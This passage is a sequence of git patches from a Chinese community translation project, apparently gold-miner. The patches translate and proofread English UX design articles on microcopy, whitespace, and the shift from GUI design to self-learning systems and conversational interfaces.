-A loading bar engages the user and prevents confusion when app is busy loading data. Image credits: [Mark](https://dribbble.com/milkycookie)
-图片来源：[Mark](https://dribbble.com/milkycookie)
-应用无法快速加载信息的时候，进度条可以避免让用户感到困惑。图片来源：[Mark](https://dribbble.com/milkycookie)
+应用加载信息的时候，进度条可以避免让用户感到困惑。图片来源：[Mark](https://dribbble.com/milkycookie)
 
-### Microcopy ###
 ### 少量的文字信息 ###
 
-Microcopy is the little bits of text that guide users through an experience. Microcopy examples are error messages, button labels, hint text. At a glance, these tiny clusters of words seem insignificant when compared to the overall app design. But surprisingly, they have a huge impact on conversions.
 少量的文字信息是一些用来是指导用户行为的一点点文字。举一些例子就是，错误信息、按钮对应的标签、提示信息。乍看之下，这么少的文字和整个应用设计比起来一点也不重要，但出人意料的是，它们对转化率有着极为重要的影响。
 
-> Writing good microcopy in your app is just as important as having the app work correctly and the user interface being easy and efficient to use.
 > 在应用里写出好的文字信息，和让应用正常运行、用户界面易于使用一样重要。
 
-#### Show that you’re human ####
 #### 让应用看起来像一个有血有肉的人 ####
 
-A quick way to make your UI warmer and less mechanical is a human tone in the copy. If your product sounds human, it’s easier for people to trust you.
 有一个快速的方法能让你的 UI 变得温暖而不呆板，就是用人说话的口吻去描述内容。如果你的产品听起来好像是一个人，用户就会更加的信任你。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*r8YCZlga38mG_gX1JyLZWQ.png">
 
-Yelp shows they have real humans in charge.
 Yelp 表现得好像他们是真人在负责这件事情。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*BOI3X5Qe6tflo6yCDmNmoA.png">
 
-Airbnb sound human and conversational
 Airbnb 的提示听起来像人说的话而且语气还很随和。
 
-#### Use friendly and helpful copy in a moment of failure ####
 #### 报错的方式要友好而且有效 ####
 
-How errors are communicated can have a huge impact on the way someone experiences your product. Often overlooked, an ill-constructed error message can fill users with frustration.
-表达错误信息的方式会严重影响产品的用户体验。通常来说，省略错误信息或是没有正确描述错误信息都会让用户感到失望。
+表达错误信息的方式会严重影响产品的用户体验。通常来说，省略错误信息或是没有正确描述错误信息都会让用户受挫。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*1EESYQmM9pt_SScMmgQqEg.png">
 
-*An alert message such as “An error occurred” is mystifying to all users and is likely to annoy experienced users.*
 **像“出错啦”这种警告对所有的用户都会造成困扰，而且还会惹恼专家级用户。**
 
-A well-crafted error message, on the other hand, can turn a moment of frustration into a moment of delight. Thus, make error messages human, not technical, and suited to your audience.
 但是，一个精心设计过的错误信息，会顿时化失望为欣喜。所以，把报错变得人性化、不用技术性的语言并且适合你的用户群体。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*gX0GBH3BM_d_yjhk8Yvlaw.png">
 
-Error states must incorporate concise, friendly, and instructive copy as to what to do next.
 错误状态一定要具体、友好而且有用，要告诉用户下一步怎么做。
 
-#### Alleviate users concerns ####
 #### 减少用户的担忧 ####
 
-Microcopy is extremely contextual. That’s why it’s so valuable. It answers a very specific question people have and speaks to their concerns right on the spot. For example, microcopy can be fundamental in reassuring your users at the point of subscribing or sharing details. Whilst ‘not to spam/auto-tweet’ might be taken for granted by good marketers when asking for email address/access to the social network account connections, the user is less than sure. Thus, when people add their emails or connect their Twitter accounts, say “we hate spam as much as you do.”
 这些少量的文字信息是很情景化的，这也是为什么它很重要的一个原因。它可以解答用户具体情况下的问题，并针对他们所担忧的事情进行直接地交流。举例来说，当用户选择订阅或是提供了具体信息的时候，一些文字信息对于消除用户担忧会起到相当关键的作用。对于优秀的营销人员来说，“不会有群发消息或是自动关注”是理所当然的事情，但用户自己会存疑。因此，当用户添加了他们的邮箱地址或者绑定了 Twitter 账号的时候，一定要明确表态“我们和你一样讨厌垃圾消息”。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*Cl0P6ebhZTDkCGAHGjLnhA.png">
 
-This microcopy covers all the potential user concerns in one tight little sentence.
 这只是一小段紧凑的文字，却涵盖了用户所有潜在的担忧。
 
-### Whitespace ###
 ### 留白 ###
 
-Whitespace (or negative space) is the areas of a design where there is no element placed by a designer. Elements of whitespace are space around images, margins, paddings, line-spacing and letter-spacing within text content. Although many may consider it a waste of valuable screen estate, whitespace is an essential element in user interface design.
-留白（或者说是负空间）是设计师没有摆放设计元素的地方。而设计元素间的留白是指处在图片间、内填充（margin）、外填充（padding）和行间、字间的空白。虽然很多人觉得这些空白浪费了宝贵的界面位置，但其实，留白是用户界面设计的一个重要元素。
+留白（或者说是负空间）是设计师没有摆放设计元素的地方。而设计元素间的留白是指处在图片间距、内边距、外边距、行间距和字间距的空白。虽然很多人觉得这些空白浪费了宝贵的界面位置，但其实，留白是用户界面设计的一个重要元素。
 
-#### Improve UI comprehension ####
 #### 让用户界面更容易理解 ####
 
-*Clutter is bad.* Cluttering your interface overloads your user with too much information: every added button, image, and line of text make the screen more complicated. If you don’t think any part of your design should be intentionally blank, take a look at example below and you’ll see what happens when too many objects competing for your attention.
 **杂乱的堆砌是很糟糕的一件事情。**在界面上杂乱堆砌元素会给用户带来过多的信息：每一个被添加的按钮、图片和文字都会让界面显得更加复杂。如果你不想你的设计有任何刻意的留白的话，下面这个例子就能很明白的告诉你，有太多东西一起吸引你的注意力是多么可怕的事情。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*nzZwU1-KnaFrSpzMl04dWg.png">
 
-A cluttered UI is unattractive and doesn’t make users want to scan it, especially when there’s no visual hierarchy within the view.
-杂乱堆砌的 UI 尤其是没有视觉层次的 UI 会让用户没有拥有一点想要审视的欲望。
+杂乱堆砌的 UI 尤其是没有视觉层次的 UI 会让用户没有一点想要审视的欲望。
 
-The power of white space comes from the limits of human attention and memory. Our short-term memory can hold a small amount of information (typically [around 7 items or even less](http://www.human-memory.net/types_short.html)) in mind in an active, readily-available state for a short period of time (typically from 10 to 15 seconds, or sometimes up to a minute).
-留白之所以很重要，是因为用户的注意力还有记忆里是有限的。我们的短期记忆只可以在短时间内（通常来说是 10 到 15 秒钟、或者是 1 分钟以内）记住一点有效的既有信息（通常来说[是 7 个事物或者比这个更少](http://www.human-memory.net/types_short.html)）。
+留白之所以很重要，是因为用户的注意力还有记忆是很有限的。我们的短期记忆只可以在短时间内（通常来说是 10 到 15 秒钟、或者是 1 分钟以内）记住一点有效的既有信息（通常来说[是 7 个事物或者比这个更少](http://www.human-memory.net/types_short.html)）。
 
-> User attention is a precious resource, and should be allocated accordingly.
 > 用户的注意力是很珍贵的资源，所以必须合理的分配。
 
-If cluttering your interface overloads your user with too much information, then reducing the clutter will improve comprehension. Generous whitespace can make some of the messiest interfaces look inviting and simple. Whitespace reduces the amount of elements users see all at once and makes scanning much easier. The skill of using whitespace lies in providing your users with a digestible amount of content ([chunks of content](https://uxplanet.org/best-practices-for-cards-fa45e3ad94dd#.by8pzk56q)), then stripping away extraneous details.
 如果因为你界面上的胡乱堆砌使得用户接收过多的信息，那么减少一些杂物就能改善用户的理解。大方地使用留白可以让凌乱的界面变得简单而有吸引力，留白削减了用户乍看之下接收到的元素数量，这使得浏览信息变得更加容易。留白的使用技巧在于只给用户提供能让他消化的数量的内容（[一定数量的内容](https://uxplanet.org/best-practices-for-cards-fa45e3ad94dd#.by8pzk56q)），然后去掉不必要的细节。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*cY8Jewt4J1xUKyt2rla9nQ.png">
 
-Medium is a great example of using whitespace to improve content and UI comprehension.
 Medium 是一个典型的例子，它善于使用留白来改善用户对内容和 UI 的理解。
 
-#### Draw attention to elements ####
 #### 让元素更具有吸引力 ####
 
-Whitespace creates the spaces around elements in the design to help them stand out or separate from the other elements. It helps communicate what’s most important and needs attention.
 留白在设计中是通过在元素周围留出空白，以让元素更加突出或是和其他元素以进行区分。它可以告诉用户什么是最重要而且是需要格外注意的。
 
-> The more space you provide around the element, the more focused it becomes.
 > 元素周围的留白越多，元素就会越引人注目。
 
-Google Search homepage is a great example of using whitespace. The layout immediately facilitates the user goal by placing primary interaction element (search box) in front and center, with plenty of white space on either side to add emphasis.
 谷歌搜索的首页就是一个使用留白的典型例子，它通过在正中央摆放其最重要的交互元素（搜索框），并且在周围留出足够的空白以凸显其重要性的布局，直接实现了用户目标。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*UbEexVXM8GYMNuwYNqd2PQ.png">
 
-The lack of other elements will make existing elements stand out more.
 去掉其他的元素可以更加凸显留下来的元素。
 
-#### Clarifying relationships ####
 #### 明确关系 ####
 
-The [law of proximity](https://www.interaction-design.org/literature/article/laws-of-proximity-uniform-connectedness-and-continuation-gestalt-principles-2) describes how the human eye perceives connections between visual elements. It states that objects near to each other appear similar. We can use whitespace to build perceived relationships between different elements. Take a look at this picture. Almost everyone sees two groups of dots, rather than simply 16 dots.
 [接近法则](https://www.interaction-design.org/literature/article/laws-of-proximity-uniform-connectedness-and-continuation-gestalt-principles-2)描述了人的眼睛是如何划分视觉元素的，它阐述说距离更近的物体看起来更相似。我们可以利用留白，在不同的元素间产生视觉联系。你看下面这幅图片，几乎所有人都会说看到了两组点，而不是16个点。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*U_YCbTW_AEHSLMnLSqIlqQ.png">
 
-Breaking the information up into appropriate groups can help make it feel more scannable and readable. In the form on the right, categorising the 15 fields into three groups makes the process feel easier. The amount of content is the same, but the impression on users is much different.
 将信息拆分成合适的组别可以让信息更好的被识别和阅读。右边的表单将 15 栏拆分成 3 组，这样填写表单也变得相对容易了。虽然内容的数量仍然相同，但是给用户的感觉却完全不同。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*xv6xhcRljayCKY15LDekfQ.png">
 
-Image credits: NNGroup
 图片来源：NNGroup
 
-### Conclusion ###
 ### 总结 ###
 
-*Design with care.* Each minor detail in your app’s UI deserves close attention because UX is the sum of all details working harmoniously:
 **用心设计，应用界面上的每一个小的细节都值得细心揣摩，因为用户体验就是由这些小的细节相互协调作用而成的：
 
-> “The details are not the details. They make the design.” ―Charles Eames
-> “细节不只是细节，细节成就了设计。”
+> “细节不只是细节，细节成就了设计。” —— Charles Eames
 
-Thank you!
 谢谢！
 
-*Follow UX Planet:* [*Twitter*](https://twitter.com/101babich)[*Facebook*](https://www.facebook.com/uxplanet/)
 **关注 UX Planet：** [*Twitter*](https://twitter.com/101babich)[*Facebook*](https://www.facebook.com/uxplanet/)
 ---
 

From 1004922aa7b7e87efced13f6b71a75d06f353a8b Mon Sep 17 00:00:00 2001
From: ivyxuan <iloveivyxuan@gmail.com>
Date: Sun, 9 Apr 2017 21:14:26 +0800
Subject: [PATCH 095/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E4=B8=80=E7=82=B9?=
 =?UTF-8?q?=E9=94=99=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/the-details-that-matter.md | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/TODO/the-details-that-matter.md b/TODO/the-details-that-matter.md
index fce6047f6df..b4ccfb5d9f8 100644
--- a/TODO/the-details-that-matter.md
+++ b/TODO/the-details-that-matter.md
@@ -62,7 +62,7 @@
 
 > 在应用里写出好的文字信息，和让应用正常运行、用户界面易于使用一样重要。
 
-#### 让应用看起来像一个有血有肉的人 ####
+#### 让应用看起来像是一个人 ####
 
 有一个快速的方法能让你的 UI 变得温暖而不呆板，就是用人说话的口吻去描述内容。如果你的产品听起来好像是一个人，用户就会更加的信任你。
 
@@ -80,9 +80,7 @@ Airbnb 的提示听起来像人说的话而且语气还很随和。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*1EESYQmM9pt_SScMmgQqEg.png">
 
-**像“出错啦”这种警告对所有的用户都会造成困扰，而且还会惹恼专家级用户。**
-
-但是，一个精心设计过的错误信息，会顿时化失望为欣喜。所以，把报错变得人性化、不用技术性的语言并且适合你的用户群体。
+**像“出错啦”这种警告对所有的用户都会造成困扰，而且还会惹恼专家级用户。**但是，一个精心设计过的错误信息，会顿时化失望为欣喜。所以，把报错变得人性化、不用技术性的语言并且适合你的用户群体。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*gX0GBH3BM_d_yjhk8Yvlaw.png">
 
@@ -144,13 +142,13 @@ Medium 是一个典型的例子，它善于使用留白来改善用户对内容
 
 ### 总结 ###
 
-**用心设计，应用界面上的每一个小的细节都值得细心揣摩，因为用户体验就是由这些小的细节相互协调作用而成的：
+**用心设计**，应用界面上的每一个小的细节都值得细心揣摩，因为用户体验就是由这些小的细节相互协调作用而成的：
 
 > “细节不只是细节，细节成就了设计。” —— Charles Eames
 
 谢谢！
 
-**关注 UX Planet：** [*Twitter*](https://twitter.com/101babich)[*Facebook*](https://www.facebook.com/uxplanet/)
+**关注 UX Planet：** [*Twitter*](https://twitter.com/101babich) | [*Facebook*](https://www.facebook.com/uxplanet/)
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From d8e709c9c21142931a6e1e91b87c1971f8d4ccaa Mon Sep 17 00:00:00 2001
From: Ruixi <ruixi648126289@gmail.com>
Date: Sun, 9 Apr 2017 22:47:28 +0800
Subject: [PATCH 096/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E5=88=9D=E7=A8=BF040?=
 =?UTF-8?q?9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...ion-our-thoughts-on-design-are-changing.md | 66 +++++++++----------
 1 file changed, 33 insertions(+), 33 deletions(-)

diff --git a/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md b/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
index f2bce0a9d4d..3ed924e8fd9 100644
--- a/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
+++ b/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
@@ -1,96 +1,96 @@
 > * 原文地址：[From Form to Function, Our Thoughts On Design Are Changing](https://medium.com/thinking-design/from-form-to-function-our-thoughts-on-design-are-changing-ed556d8f2b58)
 > * 原文作者：[Adobe Creative Cloud](https://medium.com/@creativecloud)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者： 
+> * 译者：[Ruixi](https://github.com/ruixi)
 > * 校对者：
 
-# From Form to Function, Our Thoughts On Design Are Changing
+# 从形式到功能，设计思维的改变
 
 ![](https://cdn-images-1.medium.com/max/1600/1*bImmCpF6MPs9JslB21eAVQ.jpeg)
 
-Design is more important to business than ever before, because it’s an essential driver of user engagement. Looking at the recent evolution of user interface design might give you a sense of how user expectations have been changing and what’s coming next. But before we dive into details we need to find an answer to one important question — *what is design?*
+设计作为用户参与的基本驱动力，对商业而言比以往任何时候都更加重要。留意一下最近的用户界面设计趋势，这可能让你感受到用户的期待以往的变化，以及未来的趋势。但在我们深入讨论之前，有个问题需要回答—— **设计是什么？**
 
-### What is Design?
+### 设计是什么？
 
-Most people (even some designers) perceive design as visual elements that are added to a product after it’s done; a process that comes at the end of a product’s development, and is treated like a decoration that the designers slapped onto the real work of the engineers. While design is visual aesthetics, it is also much more. As Steve Jobs once said, “Design is not just what it looks like and feels like. *Design is how it works.*” Design is both how product ***looks*** and how it ***works*** .
+大多数人（甚至包括一些设计师）都将设计视作在产品完成之后所添加的视觉点缀，在产品开发结束之后的工艺流程，就像是设计师们强加在工程师的真实工作之上的。设计的确是视觉美学，但不仅如此。就像史蒂夫·乔布斯曾经说过的：“设计不只关乎视觉和感官。**设计关乎（产品）如何运作**。（Design is not just what it looks like and feels like. Design is how it works.）” 设计既包括产品的**视觉体验**，也包括产品的**运作原理**。
 
-### The Evolution of Graphical User Interface (GUI) Design
+### 图形用户界面（GUI）设计的演化
 
-Computers and humans don’t speak the same language. To make interaction possible, designers rely on *graphical* user interfaces. The recent evolution of GUI makes it clear that *design trends are evolving for users.* In order to prove this point let’s examine the GUI changes in the last decade.
+计算机和人类说着不同的语言。设计师们依靠**图形**用户界面使交互成为可能。最近的 GUI 设计演化清晰地表明：**设计趋势就是用户的不断变化。** 为了证明这一点，我们来看看最近十年的 GUI 设计变化。
 
-#### From Complexity to Simplicity
+#### 从复杂到简单
 
-Towards the end of the 2000’s GUI design started to change significantly due to the rise in popularity of mobile devices. This huge shift in device preference led to designers having to rethink interfaces from scratch, which in turn led to global changes in GUI design.
+由于移动设备的普及，2000 年底的 GUI 设计开始产生了明显的变化。设备配置的极大变化迫使设计师们不得不界面进行重新思考，而这又反过来引起了全球的 GUI 设计的变化。
 
-Looking at the history of the web, we can see that a decade ago websites were rudimentary in terms of design. But visual appearance wasn’t the only problem in this approach to design. Websites tried to provide *as many options as possible* : all the information a site contained seemed to be available; everything included on a site was ‘equally’ important. Designers thought that it would make websites more valuable to users. Unfortunately this often led to a cluttered interface. In the example below, you can see how distracting a cluttered interface can be from a usability standpoint.
+看看 Web 的历史，我们就会发现十年前的网站设计是不成熟的。但视觉并不是这种设计方式唯一的问题所在。网站试图提供**尽可能多的选择**：一个站点所包含的所有信息似乎都是可用的，页面上的每个元素都“同等”重要。（那时的）设计师们觉得这样会让网站对用户来说更有价值。不幸的是，这往往导致页面的杂乱无章。在下方的案例中，你可以看出，从可用性的角度出发，一个乱七八糟的界面能凌乱到什么程度。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*MgAzj4RVV2zFTQKQCmfSRw.jpeg)
 
-With the rise of mobile devices designers began to realize that user attention is a precious resource and should be treated accordingly. This lead to the *highly focused* and *very prioritized interfaces*. Such interfaces have just the right amount of information available at the exactly right time users need it.
+随着移动设备的兴起，设计师们开始意识到，用户的注意力是一种需要被合理利用的珍贵资源。这就促使了**高度集中**和**按优先级处理界面**的出现。这样的界面能在用户最需要的时候提供最恰当数量的可用信息。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*IMwAqnMVH2peTtdNtwPPhQ.jpeg)
 
-#### From Skeuomorphism to Flat Design
+#### 从拟物化到扁平化
 
-Do you remember when all touch screen apps looked very physical? At one point in time, almost all apps used a skeuomorphic design style which was based on symbols borrowed from the real world.
+你还记得触屏上的所有应用程序看起来都像真的一样的时候吗？那个时候，几乎所有应用程序都在使用拟物化设计风格，而这种风格又是对现实世界中符号的借用。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*Mrt--PeX7t5qPmnmwzDUAg.png)
 
-Skeuomorphism wasn’t just a pure design trend, it played an important role in usability. When touch screen devices were fairly new to many users, designers had to make sure users would understand how apps worked. Skeuomorphic designs help users understand how to use a new interface works by making the design familiar. That’s why the iOS Newsstand app in the example above looks like a physical bookshelf. As users progressively became more familiar with touch screens, such design metaphors weren’t needed and this style went away.
+拟物化并不是一种纯粹的设计趋势，它在可用性方面也扮演了重要的角色。当很多用户都对触屏设备知之甚少的时候，设计师们必须确保用户能够明白这些应用程序是做什么的。拟物化设计通过让设计更加贴近(现实生活)来帮助人们理解新页面的运作方式。这就是上方的 iOS 报刊亭应用看上去就像是一个真实的书架（的原因）。随着用户渐渐的熟悉了触屏，这种设计隐喻显得鸡肋，而这种设计风格也逐渐退出了历史舞台。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*TxE-vVFUv_61nYtdml78Kw.jpeg)
 
-With the quick adoption of new technologies, there was a movement towards a pure digital look, called flat design. This new style relies mainly on flat textures and icons, typography, spacing, and color to bring order to the digital canvas.
+随着新技术的使用，一种纯粹的数字化外观出现了：扁平化。这种新的设计风格主要依靠平面质感、图标、排版、间距和色彩来营造数字界面的秩序。
 
-#### From a Single Channel to Seamless Experience Across All Channels
+#### 从单一终端到跨终端
 
-Ten years ago a major design challenge was to make sure designs worked in every browser. Today, the major design challenge is to *make sure your designworks on the devices your users use*. There’s no such thing as mobile user and desktop user any more. There are users who may want to use your product in the same way, regardless of the device. That’s why *continuity across multiple devices* — creating a seamless experience across mobile, desktop, tablet and wearables — is so important. The goal is to put users at the center of your multi-channel design, [offering an omnichannel approach](https://uxmag.com/articles/5-elements-of-omni-channel-user-experiences) that lets users efficiently use product regardless of the device.
+十年前，一个主要的设计挑战就是保证设计能够在每一个浏览器下正常运行。今天，主要的设计挑战是**保证你的设计在用户所使用的设备上正常运行**。不再有移动用户和桌面端用户这种说法了。只有无论在什么设备上都可能想要照常使用你的产品的用户。这就是为什么**跨终端体验**（在移动端、桌面端、平板和可穿戴设备上的无缝体验）如此重要。目标就是将用户放在你的设计（包括多种终端）之中，[提供一个全方位的解决方案](https://uxmag.com/articles/5-elements-of-omni-channel-user-experiences) ，能够让用户无论在何种设备上都能够高效地使用产品。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*j5kqBjTpLFS5e1J3wkmvgw.jpeg)
 
-### From Pixels to People
+### 从像素到人
 
-Modern apps and sites are more than just the graphical representation of a solution — they are complex systems focused on solving user problems and generating valuable outcome. Despite all advantages, these systems have a serious natural barrier — graphical user interface. No matter how good a GUI is, people still have to learn to use it. In order to solve this problem modern UX goes beyond on-screen design and into a world of UI-less interactions.
+现代应用程序和网站不只是解决方案的视觉表现，更是专注于解决用户问题并提供有价值结果的复杂系统。尽管这些系统有种种优点，但它还是有一个严重的天然障碍——图形用户界面。无论 GUI 如何优秀，人们都不得不去学习如何使用它。为了解决这个问题，现代 UX 走得更远——屏幕设计，以及融入没有用户界面的交互之中。
 
-#### Time-Saving Design
+#### 节省时间的设计
 
-Today, users expect more user-devoted, frictionless experiences from their interactions with technology. They want to use products designed to save their time. Since time-saving design is all about respecting a user’s time, it’s clear why it’s on the rise. Modern apps strive to follow this trend by:
+今天，用户期望从他们与科技的交互中的用户投入更多，以及经验的无需磨合。他们想要使用被设计来节省他们的时间的产品。节约时间的设计完全是对用户时间的慎重对待，这也清楚地解释了它们崛起的原因。当代应用程序设计力求追随如下趋势：
 
-- **Anticipating user needs** Take Dark Sky weather app for instance. Some users might still prefer to open a weather app to check the forecast, but the most useful thing the weather app can do is to alert user about suddenly changed weather conditions (e.g. notify user that it’ll be snowing soon).
+- **预见用户需求。** 这里用 Dark Sky weather 举个例子。一些用户可能仍然喜欢打开天气应用来查看天气预报，但天气应用最有用的举动是提醒用户突然变化的天气状况(比如通知用户很快就要下雪了)。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*79Wbi92BeDyVaDPEEQjMLQ.jpeg)
 
-- **Interpreting user actions and goals.** When you open the Uber app for Apple Watch, it goes straight to a screen showing how long it’ll be until a car can come get you — no pulling out your phone to drop pins required.
+- **理解用户行为和目标。** 当你打开 Apple Watch 的优步应用时，它会直接在屏幕上显示车辆能够到达的时间——不需要拿出手机选择定位。
 
 ![](https://cdn-images-1.medium.com/max/1600/0*0ouzEuTHaORKAryP.jpg)
 
-#### Self-learning systems (SLS)
+#### 自学习系统（Self-learning systems ，SLS）
 
-Self learning systems (SLS) powered software anticipates tasks that need to be done and simply auto-completes them for the user, or at least gets the user several steps closer to finishing the tasks. Software that functions more autonomously has a major benefit for the users — it requires *much less attention*. The basic building block of self-learning software is the ability for a system to learn based on experience, analyse incoming data, and take action in response to new events. The challenge with SLS is to design behaviours based on the fewest possible interactions, while focusing on people’s behavior. Why is it a challenge? Because you need to find a balance between saving your user’s time and providing just enough options so users feel that they have control over a system.
+自学习系统控制软件预见一些简单的、需要被自动代替用户完成的任务，或者至少让用户更接近任务完成的步骤。功能更为自主的软件对用户来说有个很重大的益处——不需要**太多注意力**。 自学习软件的基本构件是基于经验的系统学习能力，分析传入数据，以及对新的事件作出反应。自学习系统面临的挑战是在控制交互行为数量的基础上设计行为，关注人的行为。为什么这是个挑战？因为你需要在节约用户时间和为用户提供足够多的选项（让用户感受到自己对系统的控制）找到一个平衡点
 
 ![](https://cdn-images-1.medium.com/max/1600/1*_yiHy0NAU1xANCf6HYxMDA.jpeg)
 
-[Nest](https://nest.com/) is great example of SLS. It’s a semi-intelligent thermostat that can program itself around user’s life. Each time a user changes the settings, Nest remembers temperature adjustments, and after a few days users will be adjusting Nest less, because it pulls all it has learned into a schedule for the home. Yes, Nest has a lot of downsides (the most critical one is that [the system often lives its own way](https://www.nngroup.com/articles/emotional-design-fail/)), but still it’s a great example of the next wave of product. Looking ahead, self-learning software will be the one thing that distinguishes legacy apps from modern ones.
+[Nest](https://nest.com/) 就是个很好的自学习系统的例子。它是一个可以围绕用户的生活来制定计划的半智能恒温器。每当用户更改系统设置的时候，Nest 都会记得调整温度，并且在几天之后用户对 Nest 的调整会减少，因为它把它学到的一切都变成家庭的时间表。是的，Nest 有很多缺点(最严重的是[系统总是采用自己的方式](https://www.nngroup.com/articles/emotional-design-fail/))，但它依然是下一代产品的绝好示例。展望未来，自学习软件将会是区别传统应用和现代应用的一个重要因素。
 
-#### Conversational Interfaces
+#### 会话界面
 
-With the advent of iPhone Messages, Slack or WhatsApp, the way we exchange information changed irreversibly. Text messages have become an extremely natural way of communicating.
+随着 iPhone 消息， Slack 以及 WhatsApp 的出现，我们交换信息的方式被完全改变。 短信已经成为一种极其自然的交流方式。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*ZMmEYOSW_mZttqHXIEqDpw.png)
 
-This trend led to the popularization of conversational interfaces. Essentially, a conversational interface is any user interface that mimics chatting with a real human. “Chatbot” is one of the hottest terms in our industry right now. More and more apps are leaving behind the GUI in favor of personal chat. Why? Because conversation feels natural for us and this property makes the use of chatbots much more intuitive than tapping on a bunch of buttons in traditional user interfaces. Another benefit of conversational interfaces is in detalization: GUI can only have a finite amount of options in practice, but speaking to a chatbot can in theory (if designed well) allow open ended discovery and interaction.
+这一趋势导致了会话界面的普及。从本质上讲，会话界面就是是模仿真实人类聊天的用户界面。“聊天机器人（Chatbot）”是目前我们行业最热门的术语之一。越来越多的应用程序的 GUI 支持个人聊天。为什么？因为交谈对我们来说感觉很自然，这种特性使聊天机器人的使用比在传统用户界面中敲击一堆按钮更加直观。另一个会话界面的优势在于细节程度（这个词我不太确定——译者注）：GUI 在实际中只有有限的选项，但和聊天机器人交谈在理论上（如果设计得好）允许开放式的发现和交互。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*odt0dGAYbEau2LXZo8EF3A.gif)
 
-Last but not least, teens and millennials — who represent the bulk of tomorrow’s market — spend more time on messaging apps than on any other apps or sites, creating a huge opportunity for businesses who want to reach this audience.
+最后但同样重要，青少年和千禧一代——未来市场的主要代表——在短信应用程序中花的时间比任何其他应用程序或网站都要多，为想要接触到这个群体的（人／企业）创造了一个巨大的商业机会。
 
-But chatbots aren’t a final step of conversational interface evolution. Voice interfaces will be a natural next step for chatbots. In the not too distant future, voice interaction will make up a large part of how we interact with the technology around us. The experience of using voice commands to control computers has already been transformed by a new generation of voice-interaction systems such as Apple’s Siri, Google Now and Amazon Echo. The latter doesn’t use a traditional GUI as a means of interaction. But the biggest challenge is to understand how people will interact with voice interfaces. This requires a better understanding of humans — not only the topics they are interested in talking about, but *how* they are going to talk about the topics.
+但聊天机器人不是会话界面进化的最终形态。语音界面将会是聊天机器人的下一步。在不远的将来，语音交互将会在我们与技术的互动中占据很大部分。使用语音命令来控制计算机已经由新一代语音交互软件，比如 Siri，Google Now 和 Amazon Echo 实现了。它们不使用传统的 GUI 作为交互手段。但最大的挑战是了解人们将如何与语音界面进行交互。这需要更好地了解人类——不仅是他们感兴趣的话题，还包括他们将**如何**谈论这些话题。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*coZE_xgldZTEQyI7SCdkvg.jpeg)
 
-### Conclusion
+### 结语
 
-With technology continuously evolving, we are on a path that could make interaction with digital services more intuitive, more accessible, and more efficient. Next generation platforms continue to develop much more like human-to-human conversation. The interface of the future might not always be made of pixels.
+随着技术的不断发展，我们正在使互动与数字服务更直观，更便捷，更高效的道路上不断前行。下一代平台继续发展得更接近人与人之间的对话。未来的界面不一定是由像素组成的。
 
 ---
 

From 0075d9a6d2d3a1f1cfad38b54f0f4f7a51015e3e Mon Sep 17 00:00:00 2001
From: ace <leanne06204@163.com>
Date: Mon, 10 Apr 2017 10:06:48 +0800
Subject: [PATCH 097/638] =?UTF-8?q?update:=20=E4=B8=89=E6=A0=A1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-is-slow-react-is-fast.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/react-is-slow-react-is-fast.md b/TODO/react-is-slow-react-is-fast.md
index f2c44574c00..2188b60bd4d 100644
--- a/TODO/react-is-slow-react-is-fast.md
+++ b/TODO/react-is-slow-react-is-fast.md
@@ -171,7 +171,7 @@ class DatagridBody extends Component {
 export default DatagridBody;
 ```
 
